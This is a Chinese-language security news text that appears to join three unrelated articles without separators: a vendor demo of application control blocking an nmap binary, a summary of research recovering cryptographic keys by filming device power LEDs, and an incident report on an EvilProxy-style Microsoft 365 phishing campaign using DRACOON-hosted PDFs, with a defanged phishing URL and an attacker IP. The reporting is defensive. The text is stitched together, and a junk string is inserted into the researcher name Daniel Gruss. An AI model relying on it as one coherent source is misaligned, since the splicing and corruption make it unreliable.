我們在Ubuntu 20.04 長期支持(LTS) 服務器上使用wget 從GitHub 下載nmap 網絡枚舉工具的預編譯二進製文件。然後,服務器配置了Cloud One 工作負載安全代理,該代理運行應用程序控制模塊,為無法識別的軟件設置為“阻止”模式。如下圖所示,應用程序控制阻止了執行。

17.png

使用來自Cloud One Workload Security的Application Control模塊防止“nmap”二進製文件的執行

18.png

在Cloud One Workload Security上對應的事件,我們看到“nmap”二進製文件被阻止執行

總結由於攻擊者利用了內置在操作系統中的合法工具和實用程序,防御者將需要優先考慮如何在攻擊的不同階段設置控制。通過在容器中使用無分發映像和應用預防性控制(如Cloud One Workload Security的應用程序控制)來最小化攻擊面,可以大大降低針對雲環境的攻擊者的速度。在組織無法使用無發行版實現的情況下,也可以使用相同映像的“精簡”版本來減少攻擊面並加強雲部署的安全性。

通過使用iPhone 或商業監控系統中的攝像頭來恢復存儲在智能卡和智能手機中的加密密鑰,以視頻記錄顯示讀卡器或智能手機何時打開的電源LED。通過仔細監控功耗、聲音、電磁輻射或操作發生所需時間等特性,攻擊者可以收集足夠的信息來恢復支持加密算法安全性和機密性的密鑰。如今,黑客可以通過近20米外的視頻錄製電源LED竊取加密密鑰。

1.png

左圖是智能卡讀卡器正在處理插入智能卡的加密密鑰,右圖是一個監控攝像頭從近20米外的地方記錄下讀取器的電源LED

研究人員最近發現了一種新的攻擊方法,通過使用iphone或商業監控系統中的攝像頭,記錄下讀卡器或智能手機打開時顯示的電源LED,可以恢復存儲在智能卡和智能手機中的秘密加密密鑰。

這些攻擊提供了一種利用兩個先前披露的側信道的新方法,側信道攻擊(side channel attack 簡稱SCA),又稱側信道攻擊,核心思想是通過加密軟件或硬件運行時產生的各種洩漏信息獲取密文信息。在狹義上講,側信道攻擊特指針對密碼算法的非侵入式攻擊,通過加密電子設備在運行過程中的側信道信息洩露破解密碼算法,狹義的側信道攻擊主要包括針對密碼算法的計時攻擊、能量分析攻擊、電磁分析攻擊等,這類新型攻擊的有效性遠高於密碼分析的數學方法,因此給密碼設備帶來了嚴重的威脅。在本例中,通過仔細監控功耗、聲音、電磁發射或操作發生所需的時間等特徵,攻擊者可以收集足夠的信息來恢復支撐加密算法安全性和機密性的密鑰。

側信道開發過程最近發現的側信道分別是Minerva和Hertzbleed,分別於2019年和2022年被發現。 Minerva能夠通過在一個稱為標量乘法的加密過程中測量時序模式來恢復美國政府批准的智能卡的256位密鑰。 Hertzbleed允許攻擊者通過測量英特爾或AMD CPU執行某些操作的功耗來恢復後量子SIKE加密算法使用的私鑰。考慮到一個使用時間測量,另一個使用電源測量,Minerva被稱為定時側信道,而Hertzbleed可以被視為電源側信道。

研究人員最近公佈了一項新研究,展示了一種利用這些側信道的新方法。第一種攻擊使用連接互聯網的監控攝像頭在加密操作期間拍攝智能卡讀卡器上電源LED或連接的外圍設備的高速視頻。這項技術使研究人員能夠從Minerva使用的同一張政府批准的智能卡上提取256位ECDSA密鑰。另一種方法使研究人員能夠通過在連接到手機的USB揚聲器的電源LED上訓練iPhone 13的攝像頭來恢復三星Galaxy S8手機的專用SIKE密鑰,類似於Hertzbleed從英特爾和AMD CPU上獲取SIKE密鑰的方式。

電源led用於指示設備何時打開,它們通常會發出藍色或紫色的光,亮度和顏色會根據所連接設備的功耗而變化。

這兩種攻擊都有局限性,使得它們在許多現實場景中不可行。儘管如此,已發表的研究還是具有開創性的,因為它提供了一種全新的方式來促進側信道攻擊。不僅如此,新方法還消除了阻礙現有方法利用側信道的最大障礙,即需要示波器、電探針或其他物體等儀器接觸或靠近被攻擊的設備。

在Minerva的示例中,為了讓研究人員收集足夠精確的測量數據,智能卡讀卡器的主機必須被攻破。相比之下,Hertzbleed並不依賴於受攻擊的設備,而是花了18天的時間與易受攻擊的設備進行持續交互,以恢復私鑰。要攻擊許多其他側信道,例如第二次世界大戰加密電傳終端中的側信道,攻擊者必須在目標設備上或附近安裝專用且通常昂貴的儀器。

近期發布的基於視頻的攻擊減少或完全消除了此類要求,要想竊取存儲在智能卡上的私鑰,只需要在距離目標讀卡器20米遠的地方安裝一個聯網的監控攝像頭。三星Galaxy手機的側信道攻擊可以通過已經在同一個房間裡的iPhone 13攝像頭來執行。

本文的亮點就是你不需要連接探測器、連接示波器或使用軟件定義的無線電。該方法沒有攻擊性,你可以使用智能手機等普通或流行的設備來實施攻擊。對於連接互聯網的攝像機來說,你甚至不需要接近物理場景就可以實施攻擊,這是軟件定義的無線電或連接探針或類似物無法做到的。

與傳統的側信道攻擊相比,該技術還有另一個好處:精確性和準確性。 Minerva和Hertzbleed等攻擊通過網絡洩露信息,這會引入延遲並增加噪聲,而這些噪聲必須通過從大量操作中收集數據來補償。這一限制導致Minerva攻擊需要目標設備被破壞,而Hertzbleed攻擊需要18天時間。

使用捲簾快門(rolling shutter)令許多人驚訝的是,一台記錄電源LED的標準攝像機提供了一種數據收集方式,對於測量通過側信道洩漏的信息來說,這種方式要高效得多。當CPU執行不同的加密操作時,目標設備消耗不同的電量。這些變化會導致設備或連接到設備的外圍設備的電源LED的亮度變化,有時還會導致顏色變化。

為了足夠詳細地捕捉LED的變化,研究人員啟動了新型相機中可用的捲簾快門。捲簾快門是一種圖像捕捉形式,在某種程度上類似於延時攝影。它以垂直、水平或旋轉的方式逐行快速記錄幀。傳統上,相機只能以其幀速率拍攝照片或視頻,幀速率最高可達每秒60至120幀。

11.png

該說明了捲簾快門捕捉旋轉光盤背後的原理

激活捲簾快門可以提高采樣率,每秒收集大約60,000個測量值。研究人員在設備執行加密操作時,將當前打開或連接在設備上的電源LED完全填充到一個框架中,利用捲簾快門,使攻擊者有可能收集到足夠的細節來推斷存儲在智能卡、手機或其他設備上的密鑰。

這是可能的,因為設備的電源LED的強度/亮度與其功耗相關,因為在許多設備中,電源LED直接連接到電路的電源線,缺乏有效的手段(例如,濾波器,電壓穩定器)來解耦相關性。

研究人員實證分析了視頻攝像機的靈敏度,並表明它們可以用於進行密碼分析,原因有兩個,一是設備的電源LED的視頻片段的單個RGB通道的有限8位分辨率(256值的離散空間)足以檢測由加密計算引起的設備功耗差異,二是攝像機的捲簾快門可以利用視頻片段中電源LED的強度/亮度的採樣率提高到執行密碼分析所需的水平,即將視頻片段中電源LED的強度/亮度的測量次數(採樣率)增加三個數量級,從FPS速率(每秒提供60-120次測量)到捲簾快門速率(在iPhone 13 Pro Max中每秒提供6萬次測量),通過縮放目標設備電源LED上的攝像機,使LED的視圖填充整個視頻片段。這樣,可以使用攝像機作為專業專用傳感器的遠程攻擊替代品,這些傳感器通常用於密碼分析(例如,示波器、軟件定義的無線電)。

視頻1和視頻2分別顯示了智能卡讀卡器和三星Galaxy手機在執行加密操作時的視頻捕獲過程。用肉眼看,這段視頻看起來沒什麼特別的。

但是,通過分析綠色通道中不同RGB值的視頻幀,攻擊者可以識別加密操作的起止進程。

一些限制條件研究中假設的威脅模型是,目標設備正在創建數字簽名或在設備上執行類似的加密操作。該設備具有標准開/關類型1或指示電源類型2電源LED,其保持恆定顏色或響應觸發的加密操作時改變顏色。如果設備沒有1型或2型電源LED,則必須連接到有此功能的外圍設備。這些電源LED的亮度或顏色必須與設備的功耗相關。

攻擊者是一個惡意實體,可以在加密操作發生時持續錄製設備或外圍設備(如USB揚聲器)的電源LED。在智能卡讀卡器的示例中,攻擊者首先通過攻擊距離讀卡器電源LED近20米遠的監控攝像頭來獲取視頻。攝像頭被劫持的前提是,攻擊者必須能夠控制攝像頭的縮放和旋轉。考慮到許多聯網攝像機被研究人員、現實世界的殭屍網絡運營商和其他攻擊者主動攻擊的示例,目前假設條件並不是一個特別高的要求。

當攝像頭在近20米遠的地方時,房間的燈必須關閉,但如果監控攝像頭在大約2米遠的位置時,則可以打開燈。攻擊者也可以用iPhone記錄智能卡讀卡器的電源LED。視頻必須持續運行65分鐘,在此期間,閱讀器必須不斷地執行操作。

對於三星Galaxy,攻擊者必須能夠在相當近的距離內記錄USB連接揚聲器的電源LED,同時手機執行SIKE簽名操作。

攻擊假設存在一個現有的側信道,該信道在執行加密操作時洩露設備的功耗、時間或其他物理表現。插入讀卡器的智能卡使用了一個代碼庫,該代碼庫尚未針對Minerva攻擊進行修補。三星Galaxy使用的一個庫仍然容易受到Hertzbleed.的攻擊,很可能在未來發現的一些側通道也會允許此類攻擊。

威脅模型極大地限制了當前攻擊的工作場景,因此攻擊不太可能針對軍事基地或其他高安全設置中使用的讀卡器。

這是因為讀卡器本身很可能是修復過的,即使沒有被修復,在這些環境中發給員工的智能卡也會每隔幾年輪換一次,以確保它們包含最新的安全更新。即使讀卡器和智能卡都容易受到攻擊,讀卡器也必須在整整65分鐘內持續處理卡,這在安全檢查中的標準刷卡過程中是不可能實現的。

但並非所有設置都受到如此嚴格的限制。這六種智能卡讀卡器都可以在亞馬遜上買到,並且與美國軍方使用的通用門禁卡(稱為cac)兼容。其中四個閱讀器的廣告上寫著“國防部”、“軍隊”或兩者兼而有之。軍方或政府人員在遠程登錄非機密網絡時使用這種讀卡器均屬正常。

一般來說,只要你的操作系統支持特定的製造商和型號,訪問國防部資源需滿足兩個條件即可,1.為操作系統安裝了當前的根和國防部CA,以信任你的智能卡證書和你連接的網站/服務的證書,2.有問題的資源可以從公共互聯網直接訪問而不是先連接內部VPN。公司、州或地方政府以及其他組織則沒有那麼多限制。

三星Galaxy攻擊的另一個限制是,在發現一種使用複雜數學和一台傳統PC來恢復保護加密交易的密鑰攻擊後,SIKE算法被進行了限制。

對於此假設攻擊,三星進行了回复:

我們可以確認,研究人員在Galaxy S8上開發的假設攻擊已於2022年向我們報告,經過審查,並被視為低風險,因為我們的設備上沒有使用特定的算法。消費者隱私至關重要,我們將對所有設備保持最高標準的安全協議。

研究人員丹尼爾马云惹不起马云格魯斯(Daniel Gruss)說,儘管這種攻擊目前還處於理論層面,但研究結果絕對是有趣和重要的,特別是在發現了Hertzbleed和Platypus的類似攻擊之後。與Platypus、Hertzbleed等相關攻擊越來越多,關鍵是電源側信道攻擊可以洩露的信息非常多。隨著基於遠程軟件的攻擊或本文提出的基於視頻錄製/空氣間隙的攻擊,攻擊成功率提高了很多。另外,許多研究人員都觀察到,隨著新技術和漏洞的發現,攻擊只會隨著時間的推移而變得更易實現。從硬件發展角度來講,現在某些限制的因素,比如攝像機,未來隨著設備快速發展,幾年後本文講的理論上的攻擊可能會增加攻擊範圍或縮短攻擊所需的時間。

研究人員還對當今基於視頻的密碼分析的真正潛力表示擔憂。在本文所說的研究中,他們專注於常用和流行的攝像機,以演示基於視頻的密碼分析,即一個RGB通道的8位空間、全高清分辨率和支持的最大快門速度。然而,新版本的智能手機已經支持10位分辨率的視頻片段,例如,iPhone 14 Pro MAX和三星Galaxy S23 Ultra。此外,分辨率為12-14位的專業攝像機已經存在,2樣的攝像機可能提供更高的靈敏度,這可能使攻擊者能夠通過電源LED的強度來檢測設備功耗的非常細微的變化。此外,許多互聯網與現有研究中使用的攝像機(25倍)相比,具有更大光學變焦能力的聯網安全攝像機(30倍至36倍)已經存在,並且可能已經廣泛部署。這種安全攝像機可能允許攻擊者從比本文所演示的更遠的距離對目標設備進行基於視頻的密碼分析。最後,新的專業攝像機目前支持1/180,000的快門速度(例如,富士膠片X-H2.3),使用這種攝像機可能允許攻擊者以更高的採樣率獲得測量結果,這可能會使其他設備面臨基於視頻的密碼分析的風險。

研究人員給製造商推薦了幾種對策,以增強設備抵禦基於視頻的密碼分析。其中最主要的是通過集成一個起“低通濾波器”的電容器來避免使用指示電源LED。另一種選擇是在電源線和電源LED之間集成一個運算放大器。

目前尚不清楚受影響設備的製造商是否或何時會添加此類防範措施。目前,建議那些不確定自己的設備是否存在漏洞的人應該考慮在電源LED上貼上不透明的膠帶。

最近發現的網絡釣魚活動,涉及攻擊者發送包含DRACOON.team鏈接的社交工程電子郵件。 DRACOON.team是一個以安全數據存儲、管理和文件共享功能而聞名的文件共享解決方案。當受害者被誘騙訪問電子郵件中的鏈接時,他們會收到一份託管在DRACOON上的PDF文檔。該文檔包含一個輔助鏈接,將受害者引導到攻擊者控制的服務器,該服務器模擬了Microsoft 365登錄門戶,並充當反向代理竊取受害者的登錄信息和會話cookie。

這些被盜的憑據和cookie可以用來繞過多因素身份驗證(MFA),攻擊者控制的反向代理充當介於目標和合法身份驗證終端(如Microsoft 365登錄頁面)之間的中間服務器。當受害者與虛假登錄頁面交互時,反向代理顯示真正的登錄表單,管理傳入請求,並傳遞來自合法Microsoft 365登錄頁面的響應。

當用戶在頁面上輸入受害者憑據後,可以立即觀察到使用Microsoft 365的登錄活動。該活動包括自動訪問受害者的郵箱,並進一步傳播初始網絡釣魚郵件,這些電子郵件包含用於欺騙受害者的相同鏈接,並發送到存儲在其地址簿中的聯繫人。

反向代理功能被認為與EvilProxy網絡釣魚套件有關。但是,這裡討論的最近的活動不使用重定向。相反,它使用中間鏈接到包含到攻擊者控制的基礎設施鏈接的文件。這種新方法可以繞過電子郵件安全緩解措施,因為初始鏈接似乎來自合法來源,並且沒有文件被傳遞到受害者的終端,因為包含該鏈接的託管文檔可以通過瀏覽器中的文件共享服務器與之交互。

1.png

憑證獲取事件鏈

針對這些事件,有關安全團隊已經掃描並刪除了其服務託管的潛在網絡釣魚附件。此外,被認定負責上傳附件的賬戶已被標記為違反其服務條款而被刪除。

調查釣魚郵件網絡釣魚郵件來自受害者的供應商,該供應商為他們提供特定的商品和服務。我們懷疑供應商組織內的一名用戶的電子郵件遭到攻擊,並被用來向受害者發送網絡釣魚郵件。

下圖顯示了受害者收到的釣魚電子郵件樣本的截圖,該郵件巧妙地偽裝成了一份採購訂單,它在文檔鏈接的標題中包含了供應商的名稱,使其更加合法。

2.jpg

釣魚郵件截圖

該鏈接將用戶重定向到以下URL:

https[:]//dracoon[.]team/public/download-shares/RjqetKkzebun7rB6OWWI3kPcpZ3RruPA

這個重定向的鏈接指向一個存放在Dracoon(德國企業高度安全數據交換平台)網站上的公開共享的PDF文件,用戶可以直接與PDF文件交互,而無需下載它,這樣就減少了存儲在磁盤上的可追踪證據。

3.png

Dracoon託管PDF文件,該文件包含到攻擊者控制的反向代理服務器的鏈接

點擊鏈接將用戶重定向到一個虛假的Microsoft 365頁面,該頁面充當Microsoft 365登錄請求的反向代理,在此過程中促進了用戶憑證的盜竊。通過URL可以識別,該網站明顯是在冒充微軟365登錄頁面,合法的微軟365登錄頁面應該是https://login.microsoftonline.com/。

4.jpg

在攻擊者控制的反向代理服務器上託管的Microsoft 365登錄頁面截圖

在檢查登錄頁面的頁面源時,有一個對名為myscr759609.js的JavaScript文件的引用,該文件包含一組數學函數和算術運算。

5.png

查看虛假登錄頁面源數據

6.jpg

myscr759609.js(檢測為Trojan.HTML.PHISH.QURAAOOITB)的內容,其中包含算術和數學函數

當使用Node.js在本地執行時,myscr759609.js被解混淆,顯示如下圖所示的HTML代碼。 HTML內容清楚地表明myscr759609.js負責憑證收集、記錄這些憑證,然後通過POST請求將收集到的信息上傳到未公開的網頁。

7.jpg

解混淆後的JavaScript,檢測為trojan . html . phish . quraaooithb

通過檢查Microsoft 365登錄事件和MFA日誌,我們可以確認反向代理212.83.170.137的存在,正如設備登錄事件列表和相應的登錄位置所證明的那樣。通過交叉引用趨勢科技Vision One的數據和微軟365登錄事件,我們成功地確定了需要立即關注的賬戶。

8.jpg

檢查Microsoft 365登錄事件

此外,MFA事件還提供了有關受攻擊賬戶的寶貴信息。通過將用戶與釣魚頁面交互的時間戳與mfalog中記錄的時間戳進行比較,這些數據使我們能夠調查用戶是否在無意中洩露了他們的憑據。

9.jpg

檢查MFA認證日誌

基於趨勢管理的擴展檢測和響應(MxDR)的調查使用Vision One後,事件序列變得顯而易見。從截圖中可以明顯看出,這封釣魚郵件是發送到一個微軟Outlook賬戶的,用戶接著點擊了嵌入的鏈接,鏈接將他們重定向到Dracoon服務上的PDF文件。

10.jpg

通過Vision One檢查一系列事件

PDF文件包含一個附加鏈接,將用戶引導到反向代理憑證收集頁面,如下圖中的事件所示:託管在Dracoon服務上的文檔既可以下載,也可以通過服務內置的PDF查看器進行交互,它允許用戶通過瀏覽器與文檔進行交互。

11.jpg

通過Vision One檢查一系列事件

評估網絡釣魚攻擊的影響在事件響應中至關重要,這為了解組織中受影響帳戶的範圍提供了有價值的線索。經過分析,我們能夠徹底確定網絡釣魚電子郵件的收件人和那些與網絡釣魚鏈接交互的人。

此外,我們的調查還揭示了這次網絡釣魚活動中使用的一系列額外的Dracoon鏈接。這些鏈接還冒充微軟365,目的是竊取憑證並使用會話cookie繞過MFA。

安全建議MFA經常被稱讚為防止憑證盜竊和未經授權訪問的強大防禦。雖然它是一個強大的安全工具,但要認識到,當涉及到保護在線帳戶和敏感信息時,MFA並不是靈丹妙藥。

當考慮到像EvilProxy攻擊這樣的威脅時,MFA的局限性就變得很明顯了,這些攻擊者可以攔截和操縱網絡流量,有效地繞過MFA提供的附加安全層。

託管的PDF文件為攻擊者提供了規避電子郵件安全措施的有效手段。通過濫用合法的文件共享服務,攻擊者能夠在逃避檢測的同時顯著提高他們的成功率,合法服務通常可以繞過大多數現有的安全措施,使它們成為攻擊者的誘人工具。

來自已知或可信發件人的電子郵件並不能保證它們完全合法,用戶在點擊鏈接或下載附件時必須保持警惕和謹慎,即使是來自可信來源。

定期進行安全意識培訓和全面的培訓,對用戶進行安全意識教育。通過提供詳細的信息和實用的指導,用戶可以深入了解潛在的風險以及如何緩解風險。此外,有必要強調在訪問目標url之前驗證其合法性的重要性。

我們不應假設所有網址都是安全的,而應鼓勵用戶謹慎行事,並採用可靠的方法來確認所訪問網站的真實性和安全性,定期進行網絡釣魚攻擊模擬演習是提高員工意識的最佳方法。

實現防網絡釣魚MFA,通過實現能夠抵禦網絡釣魚攻擊的MFA方法(例如使用YubiKey等設備的基於fido的身份驗證或無密碼MFA),組織可以顯著加強其身份驗證過程並防止憑證被盜。

電子郵件安全,組織可以通過實施電子郵件安全解決方案來保護員工和用戶免受惡意電子郵件的威脅。實現基於域的消息認證、報告和一致性(DMARC)、發件人策略框架(SPF)和域密鑰識別郵件(DKIM)也將增強電子郵件的安全性。

持續監控,強烈建議建立一個強大的持續監控系統,集中收集和密切監控日誌,特別是Microsoft 365訪問和MFA日誌,以便及時識別、調查和響應任何可疑的訪問活動。